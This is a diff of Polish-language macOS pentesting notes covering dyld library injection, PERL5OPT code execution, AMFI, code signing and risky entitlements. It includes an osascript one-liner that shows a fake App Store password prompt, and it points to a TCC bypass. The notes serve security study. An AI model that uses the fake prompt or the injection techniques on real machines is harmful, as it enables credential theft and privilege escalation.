> Fajny artykuł na temat tego, jak wykorzystać tę lukę do nadużycia uprawnień kamery w telegramie można znaleźć pod adresem [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
> Fajny artykuł na temat tego, jak wykorzystać tę lukę, aby nadużyć uprawnień kamery w telegramie, można znaleźć pod adresem [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
|
||||
## Większa skala
|
||||
|
||||
Jeśli planujesz spróbować wstrzyknąć biblioteki w niespodziewane binarne pliki, możesz sprawdzić komunikaty o zdarzeniach, aby dowiedzieć się, kiedy biblioteka jest ładowana w procesie (w tym przypadku usuń printf i wykonanie `/bin/bash`).
|
||||
Jeśli planujesz spróbować wstrzyknąć biblioteki w niespodziewane binarne pliki, możesz sprawdzić komunikaty zdarzeń, aby dowiedzieć się, kiedy biblioteka jest ładowana w procesie (w tym przypadku usuń printf i wykonanie `/bin/bash`).
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
|
@ -11,7 +11,7 @@ Ten linker będzie musiał zlokalizować wszystkie biblioteki wykonywalne, zała
|
||||
Oczywiście, **`dyld`** nie ma żadnych zależności (używa wywołań systemowych i fragmentów libSystem).
|
||||
|
||||
> [!OSTRZEŻENIE]
|
||||
> Jeśli ten linker zawiera jakąkolwiek lukę, ponieważ jest wykonywany przed uruchomieniem jakiejkolwiek binarnej (nawet wysoko uprzywilejowanej), możliwe byłoby **eskalowanie uprawnień**.
|
||||
> Jeśli ten linker zawiera jakąkolwiek lukę, ponieważ jest wykonywany przed uruchomieniem jakiegokolwiek binarnego (nawet wysoko uprzywilejowanych), możliwe byłoby **eskalowanie uprawnień**.
|
||||
|
||||
### Przepływ
|
||||
|
||||
@ -42,13 +42,13 @@ Niektóre sekcje stub w binarnym:
|
||||
|
||||
- **`__TEXT.__[auth_]stubs`**: Wskaźniki z sekcji `__DATA`
|
||||
- **`__TEXT.__stub_helper`**: Mały kod wywołujący dynamiczne łączenie z informacjami o funkcji do wywołania
|
||||
- **`__DATA.__[auth_]got`**: Global Offset Table (adresy do importowanych funkcji, gdy są rozwiązane, (powiązane w czasie ładowania, ponieważ jest oznaczone flagą `S_NON_LAZY_SYMBOL_POINTERS`)
|
||||
- **`__DATA.__nl_symbol_ptr`**: Wskaźniki symboli nienaładowanych (powiązane w czasie ładowania, ponieważ jest oznaczone flagą `S_NON_LAZY_SYMBOL_POINTERS`)
|
||||
- **`__DATA.__[auth_]got`**: Global Offset Table (adresy do importowanych funkcji, po rozwiązaniu, (powiązane w czasie ładowania, ponieważ oznaczone flagą `S_NON_LAZY_SYMBOL_POINTERS`)
|
||||
- **`__DATA.__nl_symbol_ptr`**: Wskaźniki symboli nienaładowanych (powiązane w czasie ładowania, ponieważ oznaczone flagą `S_NON_LAZY_SYMBOL_POINTERS`)
|
||||
- **`__DATA.__la_symbol_ptr`**: Wskaźniki symboli leniwych (powiązane przy pierwszym dostępie)
|
||||
|
||||
> [!OSTRZEŻENIE]
|
||||
> Zauważ, że wskaźniki z prefiksem "auth\_" używają jednego klucza szyfrowania w procesie, aby go chronić (PAC). Ponadto, możliwe jest użycie instrukcji arm64 `BLRA[A/B]`, aby zweryfikować wskaźnik przed jego śledzeniem. A RETA\[A/B] może być użyte zamiast adresu RET.\
|
||||
> W rzeczywistości kod w **`__TEXT.__auth_stubs`** użyje **`braa`** zamiast **`bl`**, aby wywołać żądaną funkcję w celu uwierzytelnienia wskaźnika.
|
||||
> Zauważ, że wskaźniki z prefiksem "auth\_" używają jednego klucza szyfrowania w procesie do jego ochrony (PAC). Ponadto, możliwe jest użycie instrukcji arm64 `BLRA[A/B]`, aby zweryfikować wskaźnik przed jego śledzeniem. A RETA\[A/B] może być użyte zamiast adresu RET.\
|
||||
> W rzeczywistości kod w **`__TEXT.__auth_stubs`** użyje **`braa`** zamiast **`bl`** do wywołania żądanej funkcji w celu uwierzytelnienia wskaźnika.
|
||||
>
|
||||
> Zauważ również, że obecne wersje dyld ładują **wszystko jako nienaładowane**.
|
||||
|
||||
@ -61,7 +61,7 @@ int main (int argc, char **argv, char **envp, char **apple)
|
||||
printf("Hi\n");
|
||||
}
|
||||
```
|
||||
Interesująca część disassembly:
|
||||
Interesująca część deasemblacji:
|
||||
```armasm
|
||||
; objdump -d ./load
|
||||
100003f7c: 90000000 adrp x0, 0x100003000 <_main+0x1c>
|
||||
@ -95,7 +95,7 @@ Disassembly of section __TEXT,__stubs:
|
||||
100003f9c: f9400210 ldr x16, [x16]
|
||||
100003fa0: d61f0200 br x16
|
||||
```
|
||||
możesz zobaczyć, że **skaczemy do adresu GOT**, który w tym przypadku jest rozwiązywany w sposób non-lazy i będzie zawierał adres funkcji printf.
|
||||
możesz zobaczyć, że **skaczemy do adresu GOT**, który w tym przypadku jest rozwiązywany non-lazy i będzie zawierał adres funkcji printf.
|
||||
|
||||
W innych sytuacjach zamiast bezpośrednio skakać do GOT, może skoczyć do **`__DATA.__la_symbol_ptr`**, który załadowuje wartość reprezentującą funkcję, którą próbuje załadować, a następnie skoczyć do **`__TEXT.__stub_helper`**, który skacze do **`__DATA.__nl_symbol_ptr`**, który zawiera adres **`dyld_stub_binder`**, który przyjmuje jako parametry numer funkcji i adres.\
|
||||
Ta ostatnia funkcja, po znalezieniu adresu poszukiwanej funkcji, zapisuje go w odpowiedniej lokalizacji w **`__TEXT.__stub_helper`**, aby uniknąć przyszłych wyszukiwań.
|
||||
@ -103,13 +103,13 @@ Ta ostatnia funkcja, po znalezieniu adresu poszukiwanej funkcji, zapisuje go w o
|
||||
> [!TIP]
|
||||
> Zauważ jednak, że obecne wersje dyld ładują wszystko jako non-lazy.
|
||||
|
||||
#### Kody operacyjne dyld
|
||||
#### Opcje dyld
|
||||
|
||||
Na koniec, **`dyld_stub_binder`** musi znaleźć wskazaną funkcję i zapisać ją w odpowiednim adresie, aby nie szukać jej ponownie. W tym celu używa kodów operacyjnych (maszyna stanów skończonych) w dyld.
|
||||
Na koniec, **`dyld_stub_binder`** musi znaleźć wskazaną funkcję i zapisać ją w odpowiednim adresie, aby nie szukać jej ponownie. W tym celu używa opcodes (maszyna stanów skończonych) w dyld.
|
||||
|
||||
## wektor argumentów apple\[]
|
||||
## apple\[] wektor argumentów
|
||||
|
||||
W macOS główna funkcja otrzymuje w rzeczywistości 4 argumenty zamiast 3. Czwarty nazywa się apple, a każdy wpis ma postać `key=value`. Na przykład:
|
||||
W macOS główna funkcja otrzymuje w rzeczywistości 4 argumenty zamiast 3. Czwarty nazywa się apple, a każdy wpis ma formę `key=value`. Na przykład:
|
||||
```c
|
||||
// gcc apple.c -o apple
|
||||
#include <stdio.h>
|
||||
@ -119,7 +119,7 @@ for (int i=0; apple[i]; i++)
|
||||
printf("%d: %s\n", i, apple[i])
|
||||
}
|
||||
```
|
||||
Przykro mi, ale nie mogę pomóc w tej sprawie.
|
||||
Wynik:
|
||||
```
|
||||
0: executable_path=./a
|
||||
1:
|
||||
@ -180,7 +180,7 @@ można zobaczyć wszystkie te interesujące wartości podczas debugowania przed
|
||||
|
||||
## dyld_all_image_infos
|
||||
|
||||
To struktura eksportowana przez dyld z informacjami o stanie dyld, które można znaleźć w [**source code**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) z informacjami takimi jak wersja, wskaźnik do tablicy dyld_image_info, do dyld_image_notifier, czy proces jest odłączony od wspólnej pamięci podręcznej, czy inicjalizator libSystem został wywołany, wskaźnik do własnego nagłówka Mach dylsa, wskaźnik do ciągu wersji dyld...
|
||||
To struktura eksportowana przez dyld z informacjami o stanie dyld, które można znaleźć w [**source code**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) z informacjami takimi jak wersja, wskaźnik do tablicy dyld_image_info, do dyld_image_notifier, czy proces jest odłączony od wspólnej pamięci, czy inicjalizator libSystem został wywołany, wskaźnik do własnego nagłówka Mach dyls, wskaźnik do ciągu wersji dyld...
|
||||
|
||||
## dyld env variables
|
||||
|
||||
@ -245,7 +245,7 @@ dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
|
||||
```
|
||||
- **DYLD_PRINT_INITIALIZERS**
|
||||
|
||||
Drukuje, kiedy każdy inicjalizator biblioteki jest uruchamiany:
|
||||
Drukuje, kiedy każdy inicjator biblioteki jest uruchamiany:
|
||||
```
|
||||
DYLD_PRINT_INITIALIZERS=1 ./apple
|
||||
dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
|
||||
@ -266,7 +266,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
|
||||
- `DYLD_PRINT_CODE_SIGNATURES`: Wydrukuj operacje rejestracji podpisu kodu
|
||||
- `DYLD_PRINT_DOFS`: Wydrukuj sekcje formatu obiektów D-Trace jako załadowane
|
||||
- `DYLD_PRINT_ENV`: Wydrukuj env widziane przez dyld
|
||||
- `DYLD_PRINT_INTERPOSTING`: Wydrukuj operacje interpostingu
|
||||
- `DYLD_PRINT_INTERPOSTING`: Wydrukuj operacje interposting
|
||||
- `DYLD_PRINT_LIBRARIES`: Wydrukuj załadowane biblioteki
|
||||
- `DYLD_PRINT_OPTS`: Wydrukuj opcje ładowania
|
||||
- `DYLD_REBASING`: Wydrukuj operacje rebasingu symboli
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Poprzez zmienną środowiskową `PERL5OPT` i `PERL5LIB`
|
||||
|
||||
Używając zmiennej środowiskowej PERL5OPT, można sprawić, że perl wykona dowolne polecenia.\
|
||||
Używając zmiennej środowiskowej PERL5OPT, możliwe jest zmuszenie perla do wykonywania dowolnych poleceń.\
|
||||
Na przykład, stwórz ten skrypt:
|
||||
```perl:test.pl
|
||||
#!/usr/bin/perl
|
||||
|
@ -40,7 +40,7 @@ macos-tcc/
|
||||
|
||||
### Ograniczenia uruchamiania/środowiska i pamięć podręczna zaufania
|
||||
|
||||
Ograniczenia uruchamiania w macOS to funkcja zabezpieczeń, która **reguluje inicjację procesów** poprzez definiowanie **kto może uruchomić** proces, **jak** i **skąd**. Wprowadzona w macOS Ventura, klasyfikuje binaria systemowe w kategorie ograniczeń w ramach **pamięci podręcznej zaufania**. Każdy wykonywalny plik binarny ma ustalone **zasady** dotyczące swojego **uruchamiania**, w tym **własne**, **rodzica** i **odpowiedzialne** ograniczenia. Rozszerzone na aplikacje innych firm jako **Ograniczenia Środowiska** w macOS Sonoma, te funkcje pomagają łagodzić potencjalne wykorzystania systemu poprzez regulowanie warunków uruchamiania procesów.
|
||||
Ograniczenia uruchamiania w macOS to funkcja zabezpieczeń, która **reguluje inicjację procesów** poprzez definiowanie **kto może uruchomić** proces, **jak** i **skąd**. Wprowadzona w macOS Ventura, klasyfikuje binaria systemowe w kategorie ograniczeń w ramach **pamięci podręcznej zaufania**. Każdy wykonywalny plik binarny ma ustalone **zasady** dotyczące swojego **uruchamiania**, w tym **samego siebie**, **rodzica** i **odpowiedzialnych** ograniczeń. Rozszerzone na aplikacje innych firm jako **Ograniczenia Środowiska** w macOS Sonoma, te funkcje pomagają łagodzić potencjalne wykorzystania systemu poprzez regulowanie warunków uruchamiania procesów.
|
||||
|
||||
{{#ref}}
|
||||
macos-launch-environment-constraints.md
|
||||
@ -54,7 +54,7 @@ Gdy złośliwe oprogramowanie zostanie wykryte na Macu (czy to przez XProtect, c
|
||||
|
||||
Chociaż zarówno XProtect, jak i MRT są częścią środków zabezpieczeń macOS, pełnią różne funkcje:
|
||||
|
||||
- **XProtect** jest narzędziem zapobiegawczym. **Sprawdza pliki w momencie ich pobierania** (za pośrednictwem niektórych aplikacji), a jeśli wykryje jakiekolwiek znane rodzaje złośliwego oprogramowania, **zapobiega otwarciu pliku**, tym samym zapobiegając infekcji systemu.
|
||||
- **XProtect** jest narzędziem zapobiegawczym. **Sprawdza pliki w momencie ich pobierania** (za pośrednictwem niektórych aplikacji), a jeśli wykryje jakiekolwiek znane rodzaje złośliwego oprogramowania, **zapobiega otwarciu pliku**, tym samym zapobiegając zainfekowaniu systemu w pierwszej kolejności.
|
||||
- **MRT**, z drugiej strony, jest **narzędziem reaktywnym**. Działa po wykryciu złośliwego oprogramowania w systemie, mając na celu usunięcie szkodliwego oprogramowania w celu oczyszczenia systemu.
|
||||
|
||||
Aplikacja MRT znajduje się w **`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## AppleMobileFileIntegrity.kext i amfid
|
||||
|
||||
Skupia się na egzekwowaniu integralności kodu działającego w systemie, zapewniając logikę weryfikacji podpisu kodu XNU. Może również sprawdzać uprawnienia i obsługiwać inne wrażliwe zadania, takie jak umożliwienie debugowania lub uzyskiwanie portów zadań.
|
||||
Skupia się na egzekwowaniu integralności kodu działającego w systemie, zapewniając logikę stojącą za weryfikacją podpisu kodu XNU. Może również sprawdzać uprawnienia i obsługiwać inne wrażliwe zadania, takie jak umożliwienie debugowania lub uzyskiwanie portów zadań.
|
||||
|
||||
Ponadto, w przypadku niektórych operacji, kext woli kontaktować się z działającym w przestrzeni użytkownika demonem `/usr/libexec/amfid`. Ta relacja zaufania była nadużywana w kilku jailbreakach.
|
||||
|
||||
@ -18,7 +18,7 @@ AMFI używa **MACF** polityk i rejestruje swoje haki w momencie uruchomienia. Po
|
||||
|
||||
Oto niektóre z polityk MACF, które rejestruje:
|
||||
|
||||
- **`cred_check_label_update_execve:`** Aktualizacja etykiety zostanie wykonana i zwróci 1
|
||||
- **`cred_check_label_update_execve:`** Aktualizacja etykiety zostanie przeprowadzona i zwróci 1
|
||||
- **`cred_label_associate`**: Aktualizuje slot etykiety mac AMFI
|
||||
- **`cred_label_destroy`**: Usuwa slot etykiety mac AMFI
|
||||
- **`cred_label_init`**: Ustawia 0 w slocie etykiety mac AMFI
|
||||
@ -68,7 +68,7 @@ No variant specified, falling back to release
|
||||
To jest demon działający w trybie użytkownika, który `AMFI.kext` wykorzysta do sprawdzania podpisów kodu w trybie użytkownika.\
|
||||
Aby `AMFI.kext` mogło komunikować się z demonem, używa wiadomości mach przez port `HOST_AMFID_PORT`, który jest specjalnym portem `18`.
|
||||
|
||||
Należy zauważyć, że w macOS nie jest już możliwe, aby procesy root przejmowały specjalne porty, ponieważ są one chronione przez `SIP`, a tylko launchd może je uzyskać. W iOS sprawdzane jest, czy proces wysyłający odpowiedź ma hardcodowany CDHash `amfid`.
|
||||
Należy zauważyć, że w macOS nie jest już możliwe, aby procesy root przejmowały specjalne porty, ponieważ są one chronione przez `SIP` i tylko launchd może je uzyskać. W iOS sprawdzane jest, czy proces wysyłający odpowiedź ma hardcodowany CDHash `amfid`.
|
||||
|
||||
Można zobaczyć, kiedy `amfid` jest proszony o sprawdzenie binarnego pliku oraz jego odpowiedź, debugując go i ustawiając punkt przerwania w `mach_msg`.
|
||||
|
||||
@ -94,13 +94,13 @@ Chociaż czasami nazywane certyfikowanymi, te profile provisioningowe mają wię
|
||||
- **AppleInternalProfile**: Oznacza to jako profil wewnętrzny Apple
|
||||
- **ApplicationIdentifierPrefix**: Dodawany do AppIDName (taki sam jak TeamIdentifier)
|
||||
- **CreationDate**: Data w formacie `YYYY-MM-DDTHH:mm:ssZ`
|
||||
- **DeveloperCertificates**: Tablica (zwykle jednego) certyfikatu(ów), zakodowanych jako dane Base64
|
||||
- **DeveloperCertificates**: Tablica (zwykle jeden) certyfikat(ów), zakodowanych jako dane Base64
|
||||
- **Entitlements**: Uprawnienia dozwolone z uprawnieniami dla tego profilu
|
||||
- **ExpirationDate**: Data wygaśnięcia w formacie `YYYY-MM-DDTHH:mm:ssZ`
|
||||
- **Name**: Nazwa aplikacji, taka sama jak AppIDName
|
||||
- **ProvisionedDevices**: Tablica (dla certyfikatów dewelopera) UDID-ów, dla których ten profil jest ważny
|
||||
- **ProvisionsAllDevices**: Wartość logiczna (prawda dla certyfikatów korporacyjnych)
|
||||
- **TeamIdentifier**: Tablica (zwykle jednego) ciągu alfanumerycznego używanego do identyfikacji dewelopera w celach interakcji między aplikacjami
|
||||
- **TeamIdentifier**: Tablica (zwykle jeden) alfanumerycznych ciągów używanych do identyfikacji dewelopera w celach interakcji między aplikacjami
|
||||
- **TeamName**: Nazwa czytelna dla człowieka używana do identyfikacji dewelopera
|
||||
- **TimeToLive**: Ważność (w dniach) certyfikatu
|
||||
- **UUID**: Uniwersalny unikalny identyfikator dla tego profilu
|
||||
@ -112,13 +112,13 @@ Zauważ, że profile zazwyczaj znajdują się w `/var/MobileDeviceProvisioningPr
|
||||
|
||||
## **libmis.dyld**
|
||||
|
||||
To zewnętrzna biblioteka, którą `amfid` wywołuje, aby zapytać, czy powinien coś zezwolić, czy nie. Historycznie była nadużywana w jailbreakingu poprzez uruchamianie jej z backdoorem, co pozwalało na wszystko.
|
||||
To zewnętrzna biblioteka, którą `amfid` wywołuje, aby zapytać, czy powinien coś zezwolić, czy nie. Historycznie była nadużywana w jailbreakingu przez uruchamianie jej backdoored wersji, która pozwalałaby na wszystko.
|
||||
|
||||
W macOS znajduje się w `MobileDevice.framework`.
|
||||
|
||||
## AMFI Trust Caches
|
||||
|
||||
iOS AMFI utrzymuje listę znanych hashy, które są podpisane ad-hoc, nazywaną **Trust Cache** i znajdującą się w sekcji `__TEXT.__const` kextu. Zauważ, że w bardzo specyficznych i wrażliwych operacjach możliwe jest rozszerzenie tej Trust Cache za pomocą zewnętrznego pliku.
|
||||
iOS AMFI utrzymuje listę znanych hashy, które są podpisane ad-hoc, nazywaną **Trust Cache** i znajdującą się w sekcji `__TEXT.__const` kext. Zauważ, że w bardzo specyficznych i wrażliwych operacjach możliwe jest rozszerzenie tej Trust Cache za pomocą zewnętrznego pliku.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -25,7 +25,7 @@ Reguły są przechowywane w tabeli `rules` wewnątrz bazy danych i zawierają na
|
||||
- **modified**: Przechowuje znacznik czasu ostatniej modyfikacji dokonanej w regule.
|
||||
- **hash**: Przechowuje wartość hasha reguły, aby zapewnić jej integralność i wykryć manipulacje.
|
||||
- **identifier**: Dostarcza unikalny identyfikator w postaci ciągu, taki jak UUID, dla zewnętrznych odniesień do reguły.
|
||||
- **requirement**: Zawiera zserializowane dane definiujące specyficzne wymagania autoryzacji i mechanizmy reguły.
|
||||
- **requirement**: Zawiera zserializowane dane definiujące specyficzne wymagania autoryzacyjne i mechanizmy reguły.
|
||||
- **comment**: Oferuje opis lub komentarz w formie czytelnej dla człowieka dotyczący reguły w celach dokumentacyjnych i jasności.
|
||||
|
||||
### Przykład
|
||||
@ -75,9 +75,9 @@ Ponadto w [https://www.dssw.co.uk/reference/authorization-rights/authenticate-ad
|
||||
|
||||
To demon, który odbiera żądania autoryzacji klientów do wykonywania wrażliwych działań. Działa jako usługa XPC zdefiniowana w folderze `XPCServices/` i używa do zapisywania swoich logów w `/var/log/authd.log`.
|
||||
|
||||
Ponadto, korzystając z narzędzia security, możliwe jest przetestowanie wielu interfejsów API `Security.framework`. Na przykład `AuthorizationExecuteWithPrivileges` uruchamiając: `security execute-with-privileges /bin/ls`
|
||||
Ponadto, korzystając z narzędzia security, możliwe jest testowanie wielu interfejsów API `Security.framework`. Na przykład `AuthorizationExecuteWithPrivileges` uruchamiając: `security execute-with-privileges /bin/ls`
|
||||
|
||||
To spowoduje fork i exec `/usr/libexec/security_authtrampoline /bin/ls` jako root, co poprosi o uprawnienia w oknie dialogowym, aby wykonać ls jako root:
|
||||
To spowoduje fork i exec `/usr/libexec/security_authtrampoline /bin/ls` jako root, co poprosi o uprawnienia w oknie dialogowym do wykonania ls jako root:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -38,10 +38,10 @@ char data[];
|
||||
} CS_GenericBlob
|
||||
__attribute__ ((aligned(1)));
|
||||
```
|
||||
Zwykłe bloby zawierają Code Directory, Requirements i Entitlements oraz Cryptographic Message Syntax (CMS).\
|
||||
Powstarzane bloby zawierają Code Directory, Requirements i Entitlements oraz Cryptographic Message Syntax (CMS).\
|
||||
Ponadto, zauważ, że dane zakodowane w blobach są zakodowane w **Big Endian.**
|
||||
|
||||
Ponadto, podpisy mogą być odłączane od binarnych plików i przechowywane w `/var/db/DetachedSignatures` (używane przez iOS).
|
||||
Ponadto, podpisy mogą być odłączane od binariów i przechowywane w `/var/db/DetachedSignatures` (używane przez iOS).
|
||||
|
||||
## Code Directory Blob
|
||||
|
||||
@ -144,17 +144,17 @@ openssl sha256 /tmp/*.page.*
|
||||
```
|
||||
## Entitlements Blob
|
||||
|
||||
Zauważ, że aplikacje mogą również zawierać **blob uprawnień**, w którym zdefiniowane są wszystkie uprawnienia. Co więcej, niektóre binaria iOS mogą mieć swoje uprawnienia specyficzne w specjalnym slocie -7 (zamiast w specjalnym slocie -5 dla uprawnień).
|
||||
Zauważ, że aplikacje mogą również zawierać **entitlement blob**, w którym zdefiniowane są wszystkie uprawnienia. Co więcej, niektóre binaria iOS mogą mieć swoje uprawnienia specyficzne w specjalnym slocie -7 (zamiast w specjalnym slocie -5 dla uprawnień).
|
||||
|
||||
## Special Slots
|
||||
|
||||
Aplikacje MacOS nie mają wszystkiego, co potrzebne do wykonania wewnątrz binarnego, ale korzystają również z **zewnętrznych zasobów** (zwykle wewnątrz **bundla** aplikacji). Dlatego w binarnym znajdują się pewne sloty, które będą zawierać hashe niektórych interesujących zewnętrznych zasobów, aby sprawdzić, czy nie zostały zmodyfikowane.
|
||||
Aplikacje MacOS nie mają wszystkiego, co potrzebne do wykonania wewnątrz binarnego, ale korzystają również z **zewnętrznych zasobów** (zwykle wewnątrz **bundle** aplikacji). Dlatego w binarnym znajdują się pewne sloty, które będą zawierać hashe niektórych interesujących zewnętrznych zasobów, aby sprawdzić, czy nie zostały zmodyfikowane.
|
||||
|
||||
W rzeczywistości można zobaczyć w strukturach Code Directory parametr zwany **`nSpecialSlots`**, który wskazuje liczbę specjalnych slotów. Nie ma slotu specjalnego 0, a najczęstsze z nich (od -1 do -6) to:
|
||||
W rzeczywistości można zobaczyć w strukturach Code Directory parametr zwany **`nSpecialSlots`**, który wskazuje liczbę specjalnych slotów. Nie ma slotu specjalnego 0, a najczęściej spotykane (od -1 do -6) to:
|
||||
|
||||
- Hash `info.plist` (lub ten wewnątrz `__TEXT.__info__plist`).
|
||||
- Hash Wymagań
|
||||
- Hash Katalogu Zasobów (hash pliku `_CodeSignature/CodeResources` wewnątrz bundla).
|
||||
- Hash Katalogu Zasobów (hash pliku `_CodeSignature/CodeResources` wewnątrz bundle).
|
||||
- Specyficzny dla aplikacji (niewykorzystany)
|
||||
- Hash uprawnień
|
||||
- Tylko podpisy kodu DMG
|
||||
@ -252,10 +252,10 @@ Możliwe jest uzyskanie dostępu do tych informacji oraz tworzenie lub modyfikow
|
||||
|
||||
- **`SecRequirementCreateWithData`:** Tworzy `SecRequirementRef` z danych binarnych reprezentujących wymaganie.
|
||||
- **`SecRequirementCreateWithString`:** Tworzy `SecRequirementRef` z wyrażenia tekstowego wymagania.
|
||||
- **`SecRequirementCopy[Data/String]`**: Pobiera binarną reprezentację danych `SecRequirementRef`.
|
||||
- **`SecRequirementCopy[Data/String]`**: Pobiera reprezentację danych binarnych `SecRequirementRef`.
|
||||
- **`SecRequirementCreateGroup`**: Tworzy wymaganie dla członkostwa w grupie aplikacji.
|
||||
|
||||
#### **Uzyskiwanie informacji o podpisywaniu kodu**
|
||||
#### **Uzyskiwanie informacji o podpisie kodu**
|
||||
|
||||
- **`SecStaticCodeCreateWithPath`**: Inicjalizuje obiekt `SecStaticCodeRef` z ścieżki systemu plików do inspekcji podpisów kodu.
|
||||
- **`SecCodeCopySigningInformation`**: Uzyskuje informacje o podpisie z `SecCodeRef` lub `SecStaticCodeRef`.
|
||||
@ -279,7 +279,7 @@ Możliwe jest uzyskanie dostępu do tych informacji oraz tworzenie lub modyfikow
|
||||
- **`SecCodeGetTypeID`**: Zwraca identyfikator typu dla obiektów `SecCodeRef`.
|
||||
- **`SecRequirementGetTypeID`**: Uzyskuje CFTypeID `SecRequirementRef`.
|
||||
|
||||
#### **Flagi i stałe podpisywania kodu**
|
||||
#### **Flagi i stałe podpisu kodu**
|
||||
|
||||
- **`kSecCSDefaultFlags`**: Domyślne flagi używane w wielu funkcjach Security.framework do operacji podpisywania kodu.
|
||||
- **`kSecCSSigningInformation`**: Flaga używana do określenia, że informacje o podpisie powinny być pobrane.
|
||||
|
@ -58,7 +58,7 @@ Uprawnienie **`com.apple.private.icloud-account-access`** umożliwia komunikacj
|
||||
|
||||
**iMovie** i **Garageband** miały to uprawnienie.
|
||||
|
||||
Aby uzyskać więcej **informacji** na temat exploita do **uzyskania tokenów icloud** z tego uprawnienia, sprawdź wykład: [**#OBTS v5.0: "Co się dzieje na twoim Macu, zostaje na iCloud Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Aby uzyskać więcej **informacji** na temat exploita do **uzyskania tokenów icloud** z tego uprawnienia, sprawdź wykład: [**#OBTS v5.0: "Co się dzieje na twoim Macu, zostaje w iCloud Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
@ -97,7 +97,7 @@ Na przykład, zmuszając je do proszenia użytkownika o hasło:
|
||||
```bash
|
||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||
```
|
||||
Lub sprawić, by wykonywały **dowolne działania**.
|
||||
Lub sprawić, by wykonywały **dowolne akcje**.
|
||||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
@ -113,7 +113,7 @@ Pozwala na modyfikację plików wewnątrz pakietu aplikacji (wewnątrz app.app),
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Można sprawdzić, kto ma ten dostęp w _Ustawieniach systemowych_ > _Prywatność i bezpieczeństwo_ > _Zarządzanie aplikacjami._
|
||||
Można sprawdzić, kto ma ten dostęp w _Ustawienia systemowe_ > _Prywatność i bezpieczeństwo_ > _Zarządzanie aplikacjami._
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
@ -127,7 +127,7 @@ To uprawnienie pozwala na **tworzenie pamięci, która jest zapisywalna i wykony
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
To uprawnienie pozwala na **nadpisywanie lub patchowanie kodu C**, używanie długo przestarzałej **`NSCreateObjectFileImageFromMemory`** (co jest zasadniczo niebezpieczne) lub korzystanie z frameworka **DVDPlayback**. Sprawdź [**to dla więcej informacji**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
To uprawnienie pozwala na **nadpisywanie lub patchowanie kodu C**, używanie długo przestarzałej **`NSCreateObjectFileImageFromMemory`** (co jest zasadniczo niebezpieczne), lub używanie frameworka **DVDPlayback**. Sprawdź [**to dla więcej informacji**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
|
||||
> [!CAUTION]
|
||||
> Włączenie tego uprawnienia naraża Twoją aplikację na powszechne luki w kodzie języków, które nie są bezpieczne w pamięci. Starannie rozważ, czy Twoja aplikacja potrzebuje tego wyjątku.
|
||||
@ -137,7 +137,7 @@ To uprawnienie pozwala na **nadpisywanie lub patchowanie kodu C**, używanie dł
|
||||
To uprawnienie pozwala na **modyfikację sekcji własnych plików wykonywalnych** na dysku, aby wymusić wyjście. Sprawdź [**to dla więcej informacji**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
|
||||
|
||||
> [!CAUTION]
|
||||
> Uprawnienie do wyłączenia ochrony pamięci wykonywalnej to ekstremalne uprawnienie, które usuwa fundamentalną ochronę bezpieczeństwa z Twojej aplikacji, co umożliwia atakującemu przepisanie kodu wykonywalnego Twojej aplikacji bez wykrycia. Preferuj węższe uprawnienia, jeśli to możliwe.
|
||||
> Uprawnienie do wyłączenia ochrony pamięci wykonywalnej jest ekstremalnym uprawnieniem, które usuwa fundamentalną ochronę bezpieczeństwa z Twojej aplikacji, co umożliwia atakującemu przepisanie kodu wykonywalnego Twojej aplikacji bez wykrycia. Preferuj węższe uprawnienia, jeśli to możliwe.
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
||||
@ -145,7 +145,7 @@ TODO
|
||||
|
||||
### `com.apple.private.nullfs_allow`
|
||||
|
||||
To uprawnienie pozwala na zamontowanie systemu plików nullfs (domyślnie zabronione). Narzędzie: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
|
||||
To uprawnienie pozwala na zamontowanie systemu plików nullfs (zabronione domyślnie). Narzędzie: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
|
||||
|
||||
### `kTCCServiceAll`
|
||||
|
||||
|
@ -30,16 +30,10 @@ Przykład w: [https://theevilbit.github.io/posts/exploiting_directory_permission
|
||||
|
||||
## Link symboliczny / Link twardy
|
||||
|
||||
### Umożliwiony plik/folder
|
||||
|
||||
